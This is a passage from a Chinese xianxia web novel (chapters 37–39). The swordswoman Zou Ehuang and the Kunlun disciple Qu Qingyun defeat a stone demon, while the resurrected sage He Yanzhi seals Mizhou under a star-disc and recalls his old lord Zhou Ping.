他呲牙,就听见身边四处都传来了师弟们担忧的呼喊:“大——师——兄——” 然后下一秒,刚刚直起身来的曲轻云,就被四面八方飞扑过来的人,压在了身下。 曲轻云:“…” 他指尖费力地动了动,捏住双剑,还依稀记着前面一个人力抗石妖的邹娥皇。 这可怜的剑修,并没有发现先前兢兢业业的李三,在刚刚一堆人飞扑来的冲击下,直接给他把裤子拽了下来。 曲轻云只是聚精会神地捏紧了剑。 刚刚几个回合下来,他大约能看出来这石妖的底细了,也正是因为能看出来,这被誉为小剑皇的昆仑大师兄,此刻心底煎熬似火。 如果不曾轻敌,如果能一开始就呵斥住师弟们何至于一个个跟补血包一样冲上去。 他捏着剑,千回百转涌上心头,但是最后落于嘴边,不过也只有一句话:“此处凶险,石妖吞心得修补筑基以下的人,编成一队,带着人往外撤!” “大师兄!” 身后的小剑修还在恋恋不舍地呼唤。 曲轻云沉声道:“我和你们不一样,我已经修至元婴,能和那石妖斗个胜负,无需多言,剑在,我在!” 谁料下一瞬,那小些个小剑修里面有个犹犹豫豫的声音微弱地传了出来:“大师兄,我只是想说,你裤子掉了” “好歹穿上,再去啊。” 曲轻云低头一看,却只看见自己两条长满腿毛的腿,白色的裤子已经不知道何时消失地无影无踪了。 靠! 温度下降,云雾开始凝结,石妖的模样愈来愈地清晰。 作为一只妖怪来说,它体型和正常成年男子差不多大,变化成谢雩的模样后,除了一开始皮肤灰青,眼珠僵硬外,一柱香后,也渐渐地变得和正常人别无二致了。 只有锐利的尖爪显得突兀 。 但是石妖最厉害的地方其实不是这一双爪子。 邹娥皇将手上的剑挥舞的越来越快,她唇被咬的微微出血,体内的灵气紧靠那些根丝还有剑脉撑着,已经开始不支。 但她的眼,还在紧紧盯着石妖。 石妖最厉害的地方让它多次从人群里死里逃生的地方,就在于这东西,跑的很快。 稍有不慎,就可能溜了。 第37章 男人体虚成你这样也少见 与此同时, 密州至东何家。 半黑半白的两道主路,何言知裹着狐裘慢慢地走了出来。 何富贵跟在他身后,手里提溜着明亮的灯笼, 一边殷勤地为圣人打着光,一边讲起了这三千年的天下兴衰。 然后讲到百年前的谢家三绝的时候,圣人停住了脚步。 那裹着狐裘的圣人身长如玉,眉平眼压, 他忽然起手,将袖子里的密州令往半空一抛,朦胧的夜色在此刻如同一层透明的薄纱, 慢慢地笼住了密州令。 何富贵看傻了, 口中的话也都咽了下去。 几丈前,圣人何言知垂眸,一直到边角分明的密州令被雾气包裹成一团, 噔地发出麟麟的金光后, 才终于满意地收回视线。他转回身来,平静地俯视着何富贵。 “你刚刚讲到哪里了?” 微弱的烛光里, 何富贵区区筑基, 并不能做到夜视,只能谦卑地垂首,窥测着何言知垂地的青丝,听到问话后才堪堪回神,拘谨道:“禀圣人, 讲到一百年前的谢家三绝了。” 不知道为什么,眼前这人明明是万人传颂的圣人, 但何富贵却感到莫名害怕,连何家之前的老祖何春生都没有给过他这样的恐惧感, 以至于这几日里,他口头上已经不自觉地从略显亲近的老祖,叫成了代表恭敬的圣人。 何言知又轻叹了声。 “不过三千年罢了,竟然就已经发生了这么多的事么。” 莲花印记,在他眉间一闪。 “白泽认主,石妖祸乱,世家兴荣,门派立世,还有那一支,帝王须。” 周平,你当真是下了好大的一盘棋。 何言知闭上眼,思绪又回到了刚刚复活的那日,骤然出现的诡异透明灵体,死相惨烈的何春生让他忽略了那支笔。 帝王须。 这支笔第一次出现在他眼前的时候,是周平指着一本书上的图画,似笑非笑地挑眉,同他道:“你知道这支笔么?” 那时天下十四州,他们已经攻下了北边三州,正是意气风发之时,白衣儒将何言知坐在椅子上,眼皮未抬就骂:“什么笔?金笔银笔不如好兵硬将,主公有这个功夫看这些子虚乌有的事情,不如研究一下怎么打下鬼哭城,否则弹尽粮绝,那些个家族可不止会看笑话,一个个都虎视眈眈笑里藏刀的。” 周平叹了口气,说:“芙官,你又急了。” 芙官是何言知的十八岁时取的字。 踩在披着虎皮的椅子上的周平轻轻一笑,眼底是熊熊燃烧的野心;他对着何言知摇头,指着那画页上的笔道:“此笔名为帝王须,自天地开辟之伊始就存在,相传被上任裁决者藏匿,不知所踪,但不过也就是一句话——” “得此笔者,得天下。” 燥热的军帐里,昏暗的午光。 何言知记得自己当时是嗤笑一声,他说:“照你这个说法,老子和这群兄弟玩命给你打三州做什么?最好把军队都散了,谁去寻到了这支笔不就完事了!” 周平摇头,并不动气。 “芙官,你信命吗?” 何言知压着火气,多少还是记得一点君臣之礼,“信什么?周平你现在告诉我,信这些虚无缥缈的命?你别告诉我打了一大堆,从地里折腾到天上最后起义,你指着外面那些眼巴巴等着功成的将兵们告诉我——” “当初看着那群虚头巴脑的算师都敢呸一口的烈性儿郎,现在走到这里了,带大伙逆了这老天爷的人告诉我,你开始信命了?!” 可记得君臣之礼,也只是一点。 “你要是告诉我这个,那今天咱们就别干了!趁早散伙!别等打入不夜城后,你大权在握高高在上然后去叩拜那些九天神明,再告诉这天下,这王位正统是祂们的授意,不是咱打下来的!” 面对着怒火中烧、义愤填膺的手下,周平愣了愣,然后哈哈大笑,“想哪里去了,芙官,你了解我,我不曾是这样的人。我说的命,不是这个。” “那你说是什么!” 周平:“生死有命,富贵在天。这句话你应当是听过的,譬如说你脸上的鬼台、或者说莲花印记,让你以一个婴儿孱弱之躯,在大雪里一昼夜居然不死,遇见了老乞丐。可你有没有想过,与其说是你遇到了老乞丐得了后半生,不如说,你命不该绝,就算捡到你的不是老乞丐,你也会等来旁人。” “就像是机关的齿轮,不是有人生来就是皇帝,而是需要一个人大权在握执掌生杀,才能震十四州。而你我,其实是修正工具,今日揭竿起义的不是我大周军,也会是别人逐鹿天下,只要那个位置上的人做的不对,就永远要有一把刀悬在他头上。” “这就是所谓的命数。就连得道者多助,失道者寡助,也是一项天地的规则。” “而帝王须,传说中,就是书写命数的笔,改天换地的一支笔。” 何言知长长地哦了一声,心底却仍不以为意:“意思就是,你要的命不是坐在那个位置上的命,而是书写那个位置有几个人的命。” 周平颔首,赞许地道了句聪明:“不错,我周平要的不是只坐上那个位置,而是除了我大周之外,再无皇室,我要那支笔,我需要那支笔攒住龙脉。” 彼时何言知以为周平说的是要让大周绵延百世,还在心里耻笑周平幼稚,觉得天下分久必合合久必分是惯性,哪里有千千年不变的道理;而三千年后,重生归来,再度踏在密州这片土地上的何言知—— 举目无狼烟,帝王诸侯均作土。 他看着那块密州令,才发现自一开始,这个皇帝要用来震四方的一州之令,自一开始,周平竟就没给它设立什么限制。 没有血脉限制,自然也没有传承限制。 握住它的人可以不姓周,可以是推翻周朝的乱臣贼子。 何言知恍惚间想,会不会一开始,就是他理解错了呢? 周平要的那句“大周之外无皇室”,或许只是单纯的,天上皇家皆作土,天下黎民共展颜。 毕竟那昔年剑指天下的天子,一开始只是一个脚上沾泥的放牛娃。 而那支笔,帝王须。 可断天下命数的帝王须。 死了多时的周平,或许曾见到过这支笔。 于是龙脉断,周天下后再无天下。 他何言知,守着那密州,作为儒道的至圣,其实从一开始,就断了飞升的机会。 不…或许还是有可能的。 如果周平没死,如果周平成功地改运瞒天—— 何言知扯着狐裘忽然觉得冷,他闭上眼,一遍遍地将思路盘起来…周平最后死在了密州,自己也正是在密州复活见到了那支帝王须周平死之前对自己说的那句话到底是什么来着? 是对不起。 …何富贵看见那圣人忽然打了个寒颤。 只见何言知左手起,密州令被他拢于袖中,而左手竟莹莹发着一层薄薄的冷光。 圣人声音低哑,一步一莲花,轻轻地道:“前推因果,后沾命数,星盘启!” 一阵刺眼的亮光,骤然从这圣人的手心里窜出,璀璨耀眼,锋芒毕露,在这样黯淡的夜里,何富贵只是好奇地瞥了一眼,就觉得眼睛生疼,泪水不要钱地涌现。 这样的杀伐果断、锐不可当。 还记得那时郑力一开始的对于邹娥皇的忌惮确实是有几分的道理的,星盘随人,看着就可怕的星盘,生出星盘的人也就未必是什么好东西。 只是他忘了,邹娥皇并非这块星盘的原主人。 能生出这样的星盘,普天之下,有且只有那个名盛时马踏不夜城,意气风发时剑指天下的儒生何言知。 他的道直指这天下不可说,自一开始就带着一腔愤懑,生来就是毁灭。 这个人尽称颂的圣人,仁爱立法的儒道圣人,他的心、他的道,从一开始就是这样的霸道强势。 何富贵惊恐地看着何言知眉心的莲花印一闪一灭,他颤颤巍巍地刚想说些什么,却只见圣人小拇指上绕着的那个墨纹大涨,一个寂字凭空浮现,接着是铺面而来的威压,一开始只有手掌大小的星盘,嗖地一声飞到了几百米远的高空之上,然后骤然膨胀,笼罩住整个天空。 那个一直面容慈悲、眼角带笑的圣人,此刻眼白消失于双目,墨泪横流飞溅在空中。 “嗬。我终于明白了。” 何富贵听见何言知的笑声,像是自嘲,又好像是极欢喜,如同索命的厉鬼一样凄惨,又像新生婴儿的第一声啼哭。 “帝王须、白泽死、天上的眼,地下的魂” 那圣人冷笑连连,朝天怒吼—— “周平、你还想让我给你打几年白工!” “老子不干了!” 也就是在这声吼音落下后,星盘终于取代了天幕。 十四州上,密州失联。 何富贵提心吊胆地看着何言知甩袖,低声问:“圣人,这是要” 何言知:“关门打狗,这句话你没听过么?” 打狗?打什么狗? 何富贵摸不着头脑,还要再跟上去,角落里却传来了一阵刻意的脚步声。 灯笼的火光一照,映得这突如其来出现的人,眉目生冷,艳艳其色,背面衣袍处,刻了一个大写的“散”字。 散修的散。 是谁?何富贵隐约觉得有些面熟。 而走在前面的何言知蓦然顿住了脚步,他扭头,果不其然,看见了那个熟悉欠扁的人—— 容有衡。 容有衡这人欠抽抽地,也不知偷听了多少他们的谈话,或者说,又看见了多少何言知头疼地按住额角,眉心的莲花印微微发光;想灭口但一来很可能打不过,二来么,毕竟这人再讨厌,也是小邹的师兄自己天生理亏三寸。 下一瞬却听容有衡嫌弃道:“男人体虚成你这样,夏天裹袄也是少见,以后离我师妹远点吧就这体格,啧啧啧。” 何言知忍着眉心直跳,刚要反驳什么,却见容有衡手上捏着一团熟悉的魂体。 他瞳孔猛缩。 立刻反应过来了什么,只听对方凉凉道:“走吧,不是要痛打关门狗么。” 容有衡抱臂,难得地夸了一句,“你倒是聪明,知道拿星盘封锁密州,把那群东西给压住。” 那上界神能容过天地一切的屏障回到天上,唯独不能看破和天幕几乎一样的星盘。 上一世,如果何言知还活着,又或者如果他容有衡能重视星盘这东西,何以至于到最后,怎么打、都是一场注定的牺牲。 …… 另一厢,邹娥皇在乒乒乓乓的几百剑招过后,看着眼熟的双剑杀回了战场,她望向突然站在身侧的曲轻云,咦了一声。 邹娥皇:“你们昆仑剑修,打架还要换身衣服的么?” 曲轻云头皮一紧,不愿再回顾一柱香前为了一条裤子和师弟大打出手,最后按着一师弟的屁股扒下来这条裤子的自己。 他闭眼,声音虚浮:“你说是,就是吧。” 邹娥皇又问:“联系上宴霜寒了么?” 曲轻云:“没有。” 电光火石间,剑锋与利爪迸出的火光照亮这小剑修抿紧的薄唇,邹娥皇听见曲轻云传音给她: 密州被封锁了一切消息,都传不出去。 靠! 邹娥皇闭上眼,万般思绪一闪而过,下一瞬,她睁眼,剑招一转方才凌冽的攻势,让曲轻云的双剑先顶上。 这只石妖,在一百年前,她曾经遇上过。那个时候的石妖,大约有了比肩妖王的战力,以至于最后引得天火,居然还能让对方逃出生天。 如今一百年过去,对方很明显并未休养好,否则一开始,曲轻云绝不该是这只石妖的对手,而该是它的补血包。 此刻,邹娥皇耳边一会是那群小剑修纷杂的喊阵声,一会又是剑与爪相碰的激鸣声,在这般纷杂的环境里,她却又恍惚间看到了月光落过树梢,月色洒下树枝的婆娑声。 她的指尖慢慢划过无光的黑剑。 脑海中忽然有什么明明一闪。 “引开它。” 正在激战的曲轻云忽然听到了邹娥皇的传音,他蹙眉,但还没来得及问为什么,就听邹娥皇传音的下半句。 “把它引到开阔的地方去。” “我要开大了——” 邹娥皇将指尖在剑身上一点,思绪在那一瞬变得无比的清醒,石妖怕的从来不是天火,而是火。石妖的本形就是一块石头,被火焚烧,容易爆炸的石头—— 她摸着手上的剑。 这一次,有没有可能,拔出剑的她,不必依靠天火,自己手心的剑,就可以杀了这食心的妖怪。 有没可能 她自己就是一团火。 要将石妖焚烧成灰的火。 第38章 唯见剑尖万点锋芒 女子葱白的指尖在剑身上一瞬划过, 擦出流星般的火光。 硝烟云雾散。 众人只见,剑光一闪,厚剑起风。 按剑的邹娥皇, 面目平静地立在原地。 在这一刻,她忽然想起了在蓬莱上的第一堂剑道课;那年蓬莱刚刚开山,山上不过也就三个人,大师兄容有衡, 她,还有道祖。 那时她身侧是抱着臂的师兄,怀中无剑, 闭目养神。 前面是道祖, 在桌案上摆了三碗酒,示意她尝尝。 彼时是邹娥皇第一堂剑课,也是她第一次沾酒。 烈酒烧喉, 她没什么经验, 一口气干了下去,结果最后只能吐了个昏天暗地。 却见道祖哈哈大笑, 连说了三个好。 “酒好喝吗?”道祖问她。 邹娥皇没敢说不好喝, 她只是拿着酒杯烧红了脸,晕乎乎地有些不好意思。 道祖说:“酒是剑者的第一课。你若拜的是夜自咎门下,他大约是不会让你饮酒的,但你走运了,你找的师父是我。” “他们人人说, 天下剑派三千,唯有夜祖座上宾。但你记着, 这句话狗屁不是,纵然他夜自咎开山立派昆仑剑, 流云十三诀、寒冰诀、阴阳两仪诀但他们也仅仅能跟他学艺。本座不会教你剑诀,本座也不会拦你去学别人的诀,本座给你上课,要教你的只有一件事——” “何为剑道,何为剑诀,何为你自己的路!” “喝!” “喝到兴起,喝到意来,喝到手不握着剑心就痒痒,你的剑诀,你的剑道,就好成了!” 那道祖拍掌,桌与邹娥皇皆震。 那日邹娥皇忘了自己到底喝了多少碗酒,也忘记了道祖还讲了什么,她只记得最后趴倒在桌边的时候,听见了容有衡声认命的叹气,一层薄衣被覆到了她身上。 那层薄衣,袖角绣着竹子,还有一股淡淡的雅香。 邹娥皇模模糊糊地抓住了给她盖衣服的手,嘿嘿笑了下,然后说:“大师兄,我有了!” 向来洁癖的容有衡没抽手。 他目光落在邹娥皇胭红的侧脸上,落了很久,直到有些口干舌燥,才狼狈地移开了视线。 蝉鸣空桑林,酒桌上只听得邹娥皇的嘟囔:“我有剑诀了!” 初次醉酒的姑娘,喝到最后两眼抹黑,手上却还倔犟地捏着一只毛笔,七扭八歪地画着剑诀;而那光风霁月的大师兄神色不变,拿指抽出了邹娥皇画出的剑诀,定睛看了会后,扶额被整笑了。 次日邹娥皇清醒了,拿着纸就要去找道祖讨赏。 却见道祖眉毛蹙成川字形,捏着那张上面还被酒染了墨的纸,真诚地不解道:“你就拿这个当剑诀么?” 邹娥皇说是啊。 她挠挠脑袋,笑的还有些得意洋洋。 接着就被道祖嫌弃地打发到了藏书阁,面对着百丈高的剑书,邹娥皇硬着头皮,一册一册地啃了起来。她拿到手上的第一本是流云十三诀,厚厚的一册书,却只讲了十个动作,每个动作都看不见杀机,好像只是强身练体的一套剑招。 那个时候的邹娥皇才十六,大约还是有些浮躁的。 于是她放下了这本基础朴素的剑诀,转身夹起了那些个雨打风吹、万剑归宗一类一听名字就觉得很厉害的剑诀,然后聚精会神地看了下去。 再次出阁的时候,道祖给她上了第二堂剑课。 这一次邹姑娘信心满满,把天下最著名的那几本剑诀都背了个滚瓜烂熟,自以为这样就可以得到师父的赞赏,然后就迎来了她修仙途中的一次滑铁卢—— 许是见多了那些个惊才艳艳的剑法,这一次她纵然喝的再醉,也不敢落笔一下。 道祖叹了口气,说没办法了。 云无心:“你给为师看看,你这段时间练的剑。让为师找找问题在哪里。” 然后,她演示了一个下午过去,气喘呼呼地倒在地上,就得了道祖一句不可思议的质问:“你学了两仪、寒冰、万剑归宗十几套天下闻名遐迩的剑诀,却唯独放过了流云十三诀!?” 邹娥皇唯唯诺诺,心知大事不妙。 只听得道祖长吁短叹,“你可知那昆仑老祖夜自咎?” 邹娥皇低声说知,“他被人成为剑修奇才,一生创立三十六诀,两仪、寒冰、万剑归宗都在其列。” 道祖叹气:“徒儿,你只知其一,不知其二。这三十六诀,前三十五诀,都是他年少轻狂时所创,所以威势浩大,锋芒逼人而他后面只创了一本‘流云十三诀’自此绝笔。前面那些剑诀,哪一个你都可以不学,唯有最后的流云,你必须要会。” 当时邹娥皇若有所思地点了点头。 但是这个姑娘直到天骄宴上才意识到,她到底要为了这一时的轻视,付出些什么代价——那宴霜寒瞬息落下的几百招里面,竟无一招不是出自流云十三诀。 她唯一没仔细看过的流云十三诀。 原来蓬莱道祖说的话是对的,昆仑老祖夜自咎,最后创出来的流云十三诀,比万剑归宗这一诀还要像真正的万剑归宗,万变不离其宗的妙法。 可惜她知道的太晚了。 于是在蓬莱道祖的第三次论剑课上,邹娥皇喝的酩酊大醉,终于创出了连道祖都满意的剑诀,却已经失去了用诀的剑。 这剑诀,该叫什么名字呢? 邹娥皇闭上眼,从回忆中抽身而过。 她双指成并,擦过剑身的地方留下一道亮起的火花。 前方,曲轻云双手持剑攻势越转越快,他咬着牙,半截裤子因为是从师弟身上扒的还有些的紧绷,几个动作下隐隐有裂开的趋势。 引开、引开、引去哪里—— 曲轻云一边挥舞着剑,一边绞尽脑汁。 等等,自己是疯了不成,还真就信了那来路不明的蓬莱女修了,对方分明只比自己高一个大境界,而在剑道一事之上,只要对方不叫宴霜寒,信她还不如信自己! 曲轻云呼出了一口气,却并没有停手,而是真的开始有意识地将石妖溜出流仙酒楼。 无论如何,那女修至少有一句说得对。 在这片全是云雾的战场上,他们碍于多重因素打的束手束脚,不如引出去,届时什么杀伤力的剑招不能用,还怕它一个石妖? 引去哪里有了! 遍地废墟里,李三蹭出一个毛茸茸的头,他手上还提着曲轻云原来的裤子,看着前面那个光腚的小剑修,心虚地把这裤子往身后一塞,然后凑着笑赶上前去。 “大师兄他是要干什么?” 那群剑修没注意多了个人,都全神贯注地盯着曲轻云。 此刻曲轻云就是他们昆仑的脸面。 “不知道啊,怎么感觉大师兄落了下乘,那个女修又在做什么,可恶——” 一个剑修急得跺脚,却忽然被一个脑袋撞了一下,只见李三费力地从人群里探出了半张脸,插嘴道:“看方向,他应该是去十四盟密州分部。” 但是这时众剑修反而没有听他说话的了,而是纷纷视线一转,惊呼了一声:“我去,哪里来的大火球!” “好亮!” 只见跟在曲轻云和石妖身后的,还有一个明明亮亮的球。 球不对,邹娥皇。 她双手握着的那柄古朴的黑剑,在此刻骤然攒出了光,正以肉眼看不见的速度快速地旋转。 “这是什么剑招?” “不知道啊,我也没见过啊。” 寻常剑诀一定是有什么缺点的,比如说万剑归宗这一招声势浩大,但是续航短,敌我不分;再比如说流云十三诀,虽然精细,各招之间变化不同,但是无法群攻 而如今这个陌生蓬莱女修,手上攒着的黑剑,使着的是多少有几分怪异的招数。 然而让这群看惯了好剑的昆仑剑修,粗粗一看,除了觉得滑稽外,一时之间竟有些摸不着头脑。 厚黑剑的短处应当是很明显的,比如重,不好操作;再比如和细剑比起来不够锋利,难以克敌但诸如此类的缺点,在邹娥皇毫无章法的轮剑之下,竟然都消失了个干净。 那甚至轮剑,每每都是一点剑光,竟然对于灵力也无甚要求。 唯见剑尖如万千星芒,围绕着她莹莹发光。 昆仑围观剑修不自觉地模仿起了她的动作,下一秒却哎呦喂地拐了脚,“好难,我靠,比看着难!” 他再定睛一看,只听得同门叫道:“她的剑竟然是在双手中不停轮换地么?这怎么可能,须知最难掌握的流云第十三诀,不过也就是需要换那么一刹那的手而她居然几乎每一次剑势微转,都换了左右手么?” 这怎么可能呢! 啊? 曲轻云背后窜出了密密麻麻的冷汗,他脚尖轻提,装出一副体力不支的模样,引诱着石妖跟了上来。 那石妖开始还有些踟蹰,只把爪子拍长去勾他;曲轻云暗自着急,本想催自己吐血刺激石妖,结果却发现石妖须臾跑得比他还快了几分。 他起先还有些不解,但并未停下脚步。 只是趁此机会,跑得离十四盟分部越来越近。 是的,思来想去,曲轻云想到最合适的地点就是十四盟分部了,在这里有阵法保护,且晚上约莫没人,就算有,也都是修士,会自己逃,再者,目前这情况,也需要找十四盟的人对接一下。 然后他终于在空荡荡的十四盟分部停下脚步后,才来得及回头瞄上一眼 哪里来的刺猬球。 曲轻云顿时理解了刚刚那略有几分智商的石妖为何追得那么紧了可不就是火烧屁股了吗。 那一团刺猬球、不对,剑光四溢、看不出是什么东西的亮球,朝着曲轻云爆喝了一声:“闪开——” 邹娥皇吸着气:“我要憋不住啦!” 当时她从未想过有朝一日还能使出这剑诀来,于是也忘了给它起名。 但是在邹娥皇想到对付这石妖火攻最合适的时候,在那一刹那,电光火石之间,她的脑海中唯有、仅有这样的一剑。 被她放在回忆里,五千年都不敢去碰的,自己年少求得朝生暮死时写出的剑诀—— 长虹贯日,势不可挡。 无数迸出的剑光如同火树银花,千剑万剑攒于此刻,密密麻麻,轰然汇聚于一点。 曲轻云动作比她想象的还要快。 他极速地跳到了一旁,怔然回神张望,却只见那怪模怪样的亮球在一瞬间变成了极其巍峨壮观的星火,然后在须臾又攒于剑尖。 这是剑么? 这是剑! 他心神动荡之际,却只看见了握剑的女修,白发飞舞,眼珠黑白分明,只剩下了不灭的火光。 终于,他看见她挥臂斩下此剑。 耳边狂风呼啸而过,传来女声清脆坚定。 “此剑,名为——” “火星!” 烈火焚烧于此剑,万千星辰于此刻璀璨。 邹娥皇酸软地松手,铮鸣的黑剑脱手飞出,直直冲着石妖而去。 在那一刹那,她想的不是自己终于斩出了这一剑,也不是旁边目瞪口呆的曲轻云,也不是斩坏了十四盟分部需要赔偿多少灵石。 火星,嘿,可真是一个星际化的高端名字。 她想起了,她阔别已久的旧乡。 轰然一声响,十四盟分部动荡,这一剑从中间劈开了石妖,这一剑荡开了昔日大能留下的防御阵法,这一剑,曲轻云想,居然让他觉得宴霜寒也不过如此。 他犹豫再三,吞吞吐吐:“不知前辈高姓,晚辈刚刚多有冒犯。” 邹娥皇摆手,她眉目肃立,道:“等一下,别放下剑。” “它应该还没死。” 第39章 在剑道上,居然也有绝境反超 没死? 曲轻云感觉腿上肌肉又开始绷紧了。 其实他知道妖难杀, 但他没想过石妖居然会这么难杀。寻常来说,他记忆中最难杀的妖是下鬼哭城时候遇见的九头蛇,要杀九个头。 但是这石妖它凭什么?它有九个脑袋吗? 大殿动荡, 砰地一声巨响,边缘维系阵法稳定的几颗七品灵石已经裂出细纹,然而就是这么巨大的声响,往常人来人往的十四盟此刻悄无人烟。 这只能说明一件事, 密州真的出事了,所以十四盟分部的那些个人手,此刻自顾不暇。 才会造成总部人去楼空。 曲轻云稍稍屏吸, 密州是十四州相对富饶的一州, 加之儒道盛行,民众大多思想固化,不存在什么轰轰烈烈的内部起义如果不是内部, 那就是外部。 十四盟总部在蓬莱, 设有天下十四州的星图,稍有风吹草动都异常明显, 如今已经过去了一个时辰有, 却仍然没有恢复对外通信,那只有两种情况,要么是外面也乱了,要么就是外面对于这一切束手无策。 无论是哪种情况,都非常棘手。 还有就是曲轻云抿嘴, 他不觉得密州失联是那只石妖造成的,哪怕那只石妖曾有屠一城的战绩, 可往回看,昔日连妖族入侵都未能让一州失联, 如今说破了天,不过也就只是一只石妖。 十米远的,废墟处。 那黑剑直插,石妖已经变成了一块又一块的石子,和方才的有血有肉的模样相比,现在碎掉的块就像是寻常寺庙里供奉* 的石像的材质。 就连锋利的爪子,也变成了钝感的石块,滚落在四周。 而造成这一切的,只是一把厚实的厚黑剑。 曲轻云回首,却见邹娥皇面目如常,她起手,那黑剑便从废墟里发出嗡鸣的声响,嗖地一声越入了她的手里。 她瞥了眼曲轻云,“愣着做什么?机灵一点,去酒楼把还活着的人找全。” 邹娥皇说罢,走到那堆石妖的碎尸前或者说,碎石前,仔细端详了起来。 百年前那场天火,她几乎已经确定了这石妖死了,况且在场的活人除了谢霖、她、李千斛,绝对没有第四个,既然这石妖不可能通过补心的方式恢复,那么又是如何做到死里逃生的? 须知那是天火,天火焚烧下,罪孽者,杀生者,绝无活路可逃。 她踢了踢这堆石块,不敢掉以轻心,决定先把这团石块用乾坤袖给收起来。 如果不知道对方什么时候会诈尸,那要做的事情其实很简单,确保它活的时候,出现在自己面前就可以了。 眼下比起石妖,还有别的事情。 和曲轻云不同,方才密州出事的时候,邹娥皇在脑海里一直过着《踏破蓬莱第一剑》这本书里的剧情,在原书里主角曾经和昆仑圣女探索幻海天的时候曾提过一嘴,说这些年天下太平,多亏了十四盟从未出错。 既然原书里十四盟从未出过错,现下的这些变动,那只能指向了一个人—— 何言知。 邹娥皇一下子滑倒在冰冷的地砖上,握剑的双手前所未有地冒出汗来。 邹娥皇在想,她是不是不该救这个人。 得知何言知在算计她的时候,她其实有过后悔,但没有很多,因为那是一个圣人,一个说出各司其职,为天下平战乱的儒将,哪怕在算计她,她救活了他,也并不觉得可惜。 最多就是难过。 难过出于私心,她以为救活的人是自己的朋友,没想到最后却只还给了密州一个圣人。 但是现在,因为救何言知,密州闹出了封锁,邹娥皇盯着自己手上的黑剑,她想,如果何言知不是什么好人怎么办。 他让密州封锁,背后绝对有些弯绕的盘算。 先不说是不是出了什么大事,单单密州背靠明州,粮食极少储存,封锁时间长上一二日,寻常辟谷的修士还好说,没辟谷的百姓,又该怎么办。 如果因为她救了一个不该活的人,害了那些本来能活很久的人,怎么办。 邹娥皇想,她担得起这么多的人命官司么。 她觉得浑身僵硬,又发冷。 另还有一个念头在她脑海中疯狂地旋转,以至于她不自觉地握住了手上的这把剑—— 如果何言知要害人,那她就杀了他。 如果他所图不轨,她就杀了他。 她能救他一次,也能杀他一次。 很公平。 邹娥皇不知道为什么,呼吸急促,心怦然地跳。 在彼世五千年,她背着一把拔不出的剑走了五千年的泥泞之路,此刻竟是第一次,有了杀念。 “邹仙长,邹仙长!” 黑暗的夜里,幽幽闪光的十四盟阵石处,传来了一阵纷杂的脚步声,伴着脚步声的还有体力不支的喘气声。 是曲轻云带人回来了。 邹娥皇抬起头,在一众脑袋里,找刚刚喊她的几个人。 然后就看见了—— 郑力抱着半大的方半子、两眼懵的谢霖、洪帮主及嘎子帮众人…还有上午那个见人下菜碟的十四盟登记员。 竟大多都是熟面孔。 等等,十四盟登记员? 这个人,会不会能联系到十四盟在密州的负责人。 邹娥皇的视线挪到了李三身上,思索片刻后,先扬出了一个笑。 “又见面了。” 李三懵懵地抬起了头,在场的他谁都不认识,怎么会有人和他说一句又见面了。 而等看清楚那人模样后,他惊地一蹦三尺高。 之前在酒楼的时候,大雾弥漫,李三离得远,其实是认不出邹娥皇就是上午的人,如今这人站在了他对面,李三立刻反应了过来。 这、这、这不是他上午得罪的那个蓬莱女修吗!刚刚竟是她,和石妖打的一来一回! 然后第二个念头才是——蓬莱的,那她是不是认识他要找的那个姓邹的人? 下一瞬。 李三只见那个笑眯眯的女修轻咳了一声,指了指旁边的昆仑剑修,“他们说你在找一个蓬莱姓邹的人,应该就是我了。” …… 很好。 听完李三讲完还在巷口生死不明的蓬莱弟子后,邹娥皇几乎一瞬间就锁定了是青度。 现在目前的情况就是,青度重伤,密州失联。 烂摊子一摊接着一摊。 还有刚刚让李三拿着他们内部的通灵玉联系,大约是级别不够,邹娥皇连嘟嘟声都没有听到,玉就碎成了两半。 现下连外援的想法也只能彻底绝了。 她轻轻呼出一口气,转头,目光在洪兴龙和曲轻云两人之间左右辗转。 最后还是定在了曲轻云身上。 正在安抚师弟们的小剑皇曲轻云,忽然觉得后颈一哆嗦,他抬起头来,遥遥和邹娥皇目光相撞,心里却忽然有了种不好的预感。 就好像即将要被人抓去充兵。 然后,果不其然。 只见邹娥皇微微笑,冲他勾了勾手。 “我一会要出去一趟,急事,我走后,你就是这里的最高战力,知道不?我听说你们昆仑的道义是:剑在人在,死战不退。我刚刚确实也看见了你们的道义所在,”女修压低声音,因刚刚打架牵扯的嗓子有些许的沙哑。 “但是,曲轻云,我现在以蓬莱山上道祖之下第二人的身份和你,昆仑下一任掌门人对话。我要和你说的不是让你去搏命,毕竟如果你真出事了,我担不起,也不能担。” “我会在这片地方上画一个大圈,你们所有人都在圈里,这个圈,化神之下无敌。化神之上么——” 曲轻云看见面前的女修伸出了三根手指头。 她头发花白,然而眼珠明亮、朝气。 “合道能抵半柱香,大乘只有半击。” 怎么可能!曲轻云惊疑不定,面前这个人,不是才化神么,怎么可能画一个圈就敌大乘半击。 他哪里知道,邹娥皇不是一般的化神。 她是从大乘境跌落的化神,在站过那个境界后,能领略的阵法之力,早已至简归臻,绝非这一个圈能衡量。 邹娥皇平平的声音还在继续:“你要做的事情很简单,把跑出圈的人打断腿。哪怕来了敌者,只要你没有把握带他们传送回昆仑,就不要让他们出圈。” 曲轻云嘴唇挪动,这个好战的剑修此刻什么话都说不出来,然后看着对方飘然离去的背影,只来得及问那么一句:“你姓邹,又是蓬莱座下第二人,莫非你是邹娥皇?” 答案自刚刚起就一直很明显,他不知道自己为什么还要多嘴问那么一句。 曲轻云握着手,感觉手心名无双的双剑前所未有地沉甸。 “莫非你就是那个,天骄宴后败于剑皇的邹、娥、皇” 前面的女修脚步未顿,握着千钧之剑,在大殿外围划出一道土圈,每走一步,她花白的头发便落几根,背也佝偻些许。 大约这样逆天的圈,哪怕说的人再轻巧,要付出的代价也绝非旁人能想。 而曲轻云的声音,弥散在这沙沙的剑划砖声里,甚至都未曾让这半百头发的女修抬头。 他只听得她笑了,然后说:“是我又怎样。” 好轻狂的回答。 于是这年轻的剑修便一下哑住了嗓。 只能看着这个和剑皇一个年代,但是未曾在修真界里留下半笔姓名的女修提剑转身;只能看着夜色漫长,前无星光,只能看着那双布鞋迈向远方,只能看着黑袍的亮光慢慢和寂静的小路融为一体 邹娥皇啊。 原来那个成就宴霜寒天骄宴真天骄的人,竟然是这样的么—— 竟然是这样的一位,剑修。 曲轻云想问她的从来不是名字。 或许一开始是,但在猜出她是邹娥皇后,就不再是一个名字了。 他想问的其实是,一个剑修,一个以剑为命,以剑扬名的剑修,在见过能够粉碎自己剑心的一剑后,要如何重新把剑心找回? 又该如何战胜自以为不能战胜的剑。 